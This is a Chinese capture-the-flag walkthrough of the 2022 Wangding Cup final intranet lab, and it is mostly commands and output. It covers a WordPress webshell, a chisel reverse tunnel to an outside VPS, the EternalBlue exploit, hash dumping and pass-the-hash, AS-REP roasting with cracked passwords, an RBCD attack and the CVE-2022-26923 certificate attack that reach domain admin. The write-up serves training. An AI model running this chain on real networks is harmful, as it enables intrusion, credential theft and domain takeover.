2022网鼎杯决赛内网靶场复现

工具


目录扫描工具[[dirsreach]],[[gobuster]] , antsword,godzilla,[[fscan]],[[WPScan]],[[chisel]],[[frp]],[[Proxifier]] , [[msf]],[[WMIexec]],rdp是什么,[[CrackMapExec]]

复现


靶标介绍:
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

考点:

  • wordpress插件rce
  • MS17-010
  • AS-REP Roasting
  • 基于资源的约束性委派
  • 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD

渗透的过程

  1. 外网打点 -> 拿到第一台机子的权限
  2. 内网代理转发
  3. 信息收集
  4. 权限提升
  5. 横向渗透
  6. 权限维持

web渗透

信息收集,外网打点

1
# python3 dirsearch.py -u 39.99.128.167 -e php

image.png

存在后台/wp-admin,弱口令admin:123456`登录
image.png
说弱口令可能有点抽象,这算是概率性事件,所以这里我们可以使用wpscan扫描工具对wp网站进行扫描

1
2
3
4
5
6
7
wpscan --url http://www.example.com

2、猜解后台用户名
wpscan --url http://www.example.com --enumerate u

3、使用字典暴破用户名admin的密码
wpscan --url http://www.example.com -P password.txt -U admin

找功能点,找漏洞点,例如文件上传等
发现theme file editor功能点,可以编辑php文件,尝试修改该文件并提交。
image.png

开源框架,根据wordpress的命名特点找到绝对路径,发现恶意php代码被执行。
image.png

1
wpscan --url http://192.168.1.72 --enumerate ap --plugins-detection aggressive

拿下一台主机

写入一句话木马,godzilla连接,成功,在根目录下获取flag01
image.png

后渗透

查看内网网段
image.png

传fscan,chisel,一个扫内网,一个搭隧道。

fscan

1
wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -O fscan1

如果sh: 1: ./fscan: Text file busy,
发生此错误是因为当前文件已被占用,因此只要找出占用该文件的进程并杀死就可以了。
则:

1
2
fuser fscan
kill -9 <进程id>

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# ./fscan -h 172.22.15.0/24
(icmp) Target 172.22.15.13 is alive
(icmp) Target 172.22.15.18 is alive
(icmp) Target 172.22.15.24 is alive
(icmp) Target 172.22.15.26 is alive
(icmp) Target 172.22.15.35 is alive
[*] Icmp alive hosts len is: 5
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.18:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.13:139 open
172.22.15.13:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo:
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetInfo:
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetInfo:
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetBios: 172.22.15.35 XIAORANG\XR-0687
[*] NetInfo:
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.15.13 [+]DC XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios: 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios: 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] WebTitle: http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
  • 5台主机存活(alive)

  • 端口扫描

    • 88 通常与 Kerberos 验证协议相关
    • 3306 mysql
    • 445 SMB协议,用于文件共享,可能是一个Windows文件服务
    • 135端口(135端口是WMIC默认的管理端口)
    • 445端口(wimcexec使用445端口传回显) 即对方防火墙为关闭状态
    • 80
    • 22 ssh
  • 主机的NetBIOS和NetInfo信息(机器的主机名和工作组)

  • ms17-10

  • poc-yaml-active-directory-certsrv-detect Active Directory证书服务

fscan的结果显然要打MS17-010,永恒之蓝

永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

附上一张网上的拓扑图
image.png

隧道搭建

上传chisel,搭隧道

1
2
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gzip -d

VPS上,server

1
./chisel server -p 1234 --reverse

172.22.15.26 机器上,client

1
2
./chisel client ip:1234 R:0.0.0.0:9383:socks
./chisel client 156.246.88.98:1234 R:0.0.0.0:9383:socks

然后连接vps:9383的socks5代理
访问 http://172.22.15.24/ 成功
image.png

MS17-010

kali,msf直接打。但是需要先在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器。

1
nano /etc/proxychains4.conf

msf一把梭哈

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

多打两次能成功。笔者大概跑了三回吧。

image.png

尝试直接获取可交互的shell,回显一直是timeout,遂尝试其他方法。
看到其他师傅的wp直接将flag down下来,但是笔者认为无法得知flag的绝对地址,遂不使用。
查看当前身份

1
2
getuid
# Server username: NT AUTHORITY\SYSTEM

在Windows系统中,SYSTEM用户是具有最高权限的用户账户,它拥有对系统的完全控制权。

dump 哈希

1
2
3
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

哈希传递,wmiexec连上去

1
proxychains4 python3 wmiexec.py administrator@172.22.15.24 -hashes :0e52d03e9b939997401466a0ec5a9cbc -codec gbk

image.png

然后就是找flag,发现直接使用这个shell找,交互时间长且容易误触,导致需要从头来过,于是打算创建一个新用户,直接rdp连接。

1
2
net user symya 123@asd /add
net localgroup administrators symya /add

image.png

**image.png

rdp连接

win+r 然后mstsc,发现无法连接,后来才发现自己只做了浏览器的socks5代理,没有做全局代理。proxfier做全局代理
解决方法:https://blog.csdn.net/juanjuan_01/article/details/127005255

在机子中找到flag02

在该机子中存在phpstudy,发现数据库账号密码
在phpstudy唯一一个网站的根目录底下发现名为phpmyadmin,直接登录。发现有个表有一堆域账户。
image.png

导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re 
# 打开原始数据文件
with open('zdoosys_user.txt', 'r') as file:
data = file.readlines()

# 提取指定字符串
users = []
for line in data:
match = re.search(r'(\w+)@xiaorang.lab', line)
if match:
username = match.group(1)
users.append(username)

# 保存提取后的字符串到 user.txt
with open('email.txt', 'w') as file:
for user in users:
file.write(user + '\n')

弱口令接管OA

机器为:172.22.15.24
代理出来后,访问,发现弱口令admin:123456即可登录。
在团队,同事列表发现大量邮箱,可以做成email字典。和上方找到的类似。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

XR-0687 AS-ERP Roasting

AS-REP Roasting攻击:

Kerberos身份认证的第一个过程又被称为域身份验证,主要是为了防止与用户密码脱机爆破。如果与用户关闭了预身份验证(“Do not require Kerberos preauthentication”)的话,攻击者可以使用指定的用户向域控制器发送AS-REQ请求。然后域控制器会返回TGT票据和加密的Session-key等信息。因此攻击者就可以对获取到的加密Session-key进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作AS-REP Roasting攻击。

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

AS-REP Roasting攻击条件
域用户设置了 “Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
需要一台可与KDC进行通信的主机/用户
进行攻击

上方获取大量账户数据,猜测有可能存在不需要 Kerberos 预身份验证的账户,我们使用GetNPUsers.py 来识别哪些用户账户未启用预身份验证。这个工具是专门用于获取目标域中用户的 TGT 请求。如果返回了可以进行 AS-REP Roasting 的用户信息,那么这些用户的账户很可能设置了不需要预身份验证。

跑一下,看一下是否存在有不要求Kerberos 预身份验证的账户。

1
proxychains4 python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile /home/symya/桌面/email.txt

获取TGT票据

1
2
3
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:65b092a36dd8d1c0c081c95ced2a0b5c$086f1297cb9911ce21af8569c7ffa32cd14a45c40e4b8b6d238eef27ba3950ca99d6101a323a4b3fa208c5569079d6090aa3ac6e8282e9ebcf648f8fff5931a2a171818303a0028b2fa3efc2bdd83650f8bbf4d303ef3974df40671e4185a8b47f424c64a416bd394501f122bb3e92d12b801f66eb5c6b3851337423e6242dbb85922fa767eb1855c1e2568d328c88158e9810ee2de558e0478026341ef05645ef5b23f943c6967590aea7d5f68a77d7ce6fe30e5536aabb7909c6695963f8dd47259e3b64922440007cb38e9252657053008213812802a49a3dbb27d8a3047a3489d9e81e24d4a64fa57d97

将申请到的TGT保存在文件中,使用John加载rockyou进行暴力破解。

1
john --wordlist=/usr/share/wordlists/rockyou.txt /home/symya/桌面/hash.txt

爆破出来为:

1
2
lixiuying:winniethepooh 
huachunmei:1qaz2wsx

找一下这个是哪台机子的账密,crackmapexec喷洒一下。使用 crackmapexec 工具尝试使用破解得到的密码进行 SMB 登录,确定哪些机器可以访问。

1
proxychains4 -q crackmapexec smb 172.22.15.0/24 -u 'lixiuying' -p 'winniethepooh' 

发现只有只有172.22.15.35(XR-0687)可以成功登录上

rdp登录

1
2
lixiuying@xaiorang.lab
winniethepooh

ACL Abuse+RBCD提权

用 bloodhound 收集域内信息。BloodHound 是一个强大的内网域渗透提权分析工具,它把域中各种抽象的概念和结构放在了一个能运行且直观,并易于使用的图形化功能中,自动用于提取和分析数据,高效准确地显示如何提升 AD 域中的权限。

1
proxychains4 bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp
  • -d xiaorang.lab 指定目标域名。告诉 BloodHound 要查询的 Active Directory 域。
  • -c all 指定要收集的命令类型。- - all 表示收集所有可用的信息,包括用户权限、组关系、ACLs 等。
  • -ns 指定 DNS 服务器的 IP 地址。用于解析域名,以确保能够正确连接到 Active Directory。
  • 强制使用 TCP 协议进行 DNS 查询。

可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限,那么我们就可以通过配置 RBCD 拿到 XR-0687 的权限

解释一下为什么具有 GenericWrite 权限,就可以通过配置 RBCD 拿到 XR-0687 的权限。
介绍如何滥用ACL进行域权限维持
image.png

基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。

使用impacket工具
首先添加一个机器账户

1
proxychains4 python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass '123@asd'
  • xiaorang.lab/lixiuying:'winniethepooh'指定域,用户,密码
  • -dc-ip 172.22.15.13 指定域控制器的 IP 地址。以便执行对 Active Directory 的更改。
  • -dc-host xiaorang.lab 指定域控制器的主机名。
  • -computer-name ‘TEST$’ 账户名称以 $ 结尾表示这是一个计算机账户,这种账户可以用作委派的目标。
  • 为新创建的计算机账户设置密码。

rbcd攻击

1
proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$'
  • xiaorang.lab/lixiuying:'winniethepooh'指定域,用户,密码
  • -dc-ip 172.22.15.13 定域控制器的 IP 地址
  • -action write 指定要执行的操作类型。 在 RBCD 攻击中,write 操作允许脚本修改或添加委派权限。
  • -delegate-to 'XR-0687$' : 指定委派的目标账户。
  • -delegate-from 'TEST$' : 指定委派的来源账户。
    它允许用户利用计算机账户(TEST$)的权限,将这些权限委派给目标计算机账户(XR-0687$)。成功后,攻击者可以利用 XR-0687$ 进行更高级别的操作,甚至可能获得管理员权限。

得到机器码,TEST$ 计算机账户的 SID,表示账户在域中的唯一标识

1
TEST$        (S-1-5-21-3745972894-1678056601-2622918667-1147)

下一步是创建票据
在创建票据之前,我们先来讲讲Kerberos 身份认证流程
Kerberos 是一种基于票证的身份验证协议。它基本上是这样工作的:

1.客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求用户的密钥之一用于预身份验证。 TGT 由身份验证服务 (AS) 提供。客户端的请求被称为AS-REQ,应答被称为AS-REP。
2.客户端使用 TGT 向 KDC 请求 ST(服务票证)。该票证由票证授予服务 (TGS) 提供。客户端的请求被称为TGS-REQ,应答被称为TGS-REP。
3.客户端使用ST(服务票证)来访问服务。客户端对服务的请求被称为调用AP-REQ,服务的响应被称为调用AP-REP。
4.两种票证(TGT 和 ST)通常都包含加密的 PAC(特权身份验证证书),目标服务将读取一组信息来决定身份验证用户是否可以访问该服务(用户 ID、组成员身份等) 。

image.png

黄金票据
黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据
利用条件:
黄金票据的使用的必要票件是获取域中 krbtgt 用户使用的加密密钥之一,然而加密密钥之一就是该账户的NTLM HASH

白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。
白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)

创建票据
由于我们目前只有机器账户,所以我们选择生成的是白银票据

1
proxychains4 python3 getST.py xiaorang.lab/'TEST$':'123@asd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
  • -spn cifs/XR-0687.xiaorang.lab 指定要获取票据的服务主体名称。 确保票据是针对正确服务生成的。
  • -impersonate Administrator 指定要假冒的用户账户。 以管理员身份获取权限。

导入票据

1
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache 
  • 设置环境变量以指定票据缓存文件,允许后续的身份验证使用该票据

报错:[Errno 111] Connection refused,改/etc/hosts
无密码连接

1
2
proxychains4 -q python3 psexec.py  -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk

  • -q 安静模式,不输出不必要的信息
  • 使用 psexec 工具在远程机器上执行命令。
  • -k 使用 Kerberos 票据进行身份验证。
  • -no-pass 不需要密码进行连接。
  • administrator@XR-0687.xiaorang.lab 指定要登录的目标机器和账户。
  • -codec gbk 指定字符编码,用于确保正确处理字符集。

image.png
得flag03,猜测与flag02中的路径一致,直接读取,成功

1
type C:\Users\Administrator\flag\flag03.txt

image.png

Active Directory 域权限提升漏洞(CVE-2022-26923)

2022年5月10日,微软发布补丁修复了一个Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。

默认情况下,域用户账户可以注册User证书模板,计算机账户可以注册Machine证书模板。两个证书模板都允许执行客户端身份验证。
在申请计算机证书时,ADCS将计算机对象的dNSHostName属性的值添加到证书的主题备用名称中。当我们使用证书进行身份验证是,KDC会尝试将这个dNSHOstName属性值从证书映射到目标账户。
因此,如果我们将某个可控计算机账户(Test1$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。

简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

简单的来说:
CVE-2022-26923 是一个影响 Active Directory 证书服务 (AD CS) 的权限提升漏洞。它允许低权限用户通过篡改计算机账户的 dNSHostName 属性来获取域控制器的高权限访问。攻击者可以利用此漏洞申请域控制器的证书,从而在域环境中获取管理员权限。
攻击流程概述

  1. 添加机器账户:创建一个新的计算机账户,并将其 dNSHostName 属性设置为域控制器的主机名。
  2. 申请证书:利用新创建的机器账户请求证书。
  3. 获取票据:通过证书认证获得访问权限。
  4. 利用 RBCD:将获得的证书配置到 RBCD,借此获得对域控制器的权限。
  5. 执行攻击:通过 psexec 连接到域控制器并读取敏感信息(如 flag)。

添加一个账户,然后设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab。

1
proxychains4 -q certipy account create -user 'test2' -pass '123@asd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'
  • certipy account create: 使用 Certipy 工具创建计算机账户。
  • -user 'test2' : 设置要创建的账户名。
  • -pass '123@asd' : 设置新账户的密码。
  • -dns XR-DC01.xiaorang.lab: 设置 dNSHostName 为域控制器的主机名。
  • -dc-ip 172.22.15.13: 指定域控制器的 IP 地址。
  • -u lixiuying -p 'winniethepooh' : 提供有权限执行该操作的用户凭据。

image.png
然后用这个账户向 XR-CA请求证书

1
proxychains4 -q certipy req -u 'test2$@xiaorang.lab' -p '123@asd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'
  • certipy req: 请求证书的命令。
  • -u 'test2$@xiaorang.lab' : 使用创建的机器账户请求证书。
  • -p '123@asd' : 账户密码。
  • -ca 'xiaorang-XR-CA-CA' : 指定要请求证书的 CA 名称。
  • -target 172.22.15.18: 指定目标 CA 的 IP 地址。
  • -template 'Machine' : 使用 Machine 证书模板。

image.png
检索 Hash 生成票据

1
proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
  • certipy auth: 使用生成的 PFX 证书进行认证。
  • -pfx xr-dc01.pfx: 指定之前申请到的 PFX 证书文件。
    image.png
    报错

KDC_ERR_PADATA_TYPE_NOSUPP
在尝试使用智能卡登录时,无法找到合适的证书。可能是由于查询了错误的认证机构(CA)
当域控制器没有安装智能卡(域控制器或域控制器认证模板)的证书时,也可能发生这种情况。

尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。
转换证书格式 ,把pfx导出为.key 和.crt 两个文件。密码为空密码即可

1
2
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
  • openssl pkcs12: 将 PFX 格式的证书转换为 PEM 格式。
  • test.pem: 输出的 PEM 文件,包含证书和私钥。

打一个证书传递攻击
下载PassTheCert.py

1
proxychains4 -q passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 

下一步将证书配置到域控的 RBCD

1
proxychains4 -q passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'test2$' 

将证书配置到 RBCD,使得 test2$ 可以代理 XR-DC01$,从而获取域控的高权限
image.png
申请ST

1
proxychains4 -q getST.py xiaorang.lab/'test2$':'123@asd' -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator
  • getST.py: 申请服务票据的脚本。
  • -spn cifs/XR-DC01.xiaorang.lab: 指定要申请的服务主体名称。
  • -impersonate Administrator: 以管理员身份获取服务票据。
    image.png

导入申请的票据

1
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
  • 设置环境变量以指定 Kerberos 票据缓存,允许后续的身份验证使用该票据。
    连接,也要修改/etc/hosts
1
proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
  • psexec.py: 使用 psexec 工具连接到目标机器。
  • -k: 使用 Kerberos 票据进行身份验证。
  • -no-pass: 不需要密码进行连接。
    读flag
1
type C:\Users\Administrator\flag\flag04.txt

image.png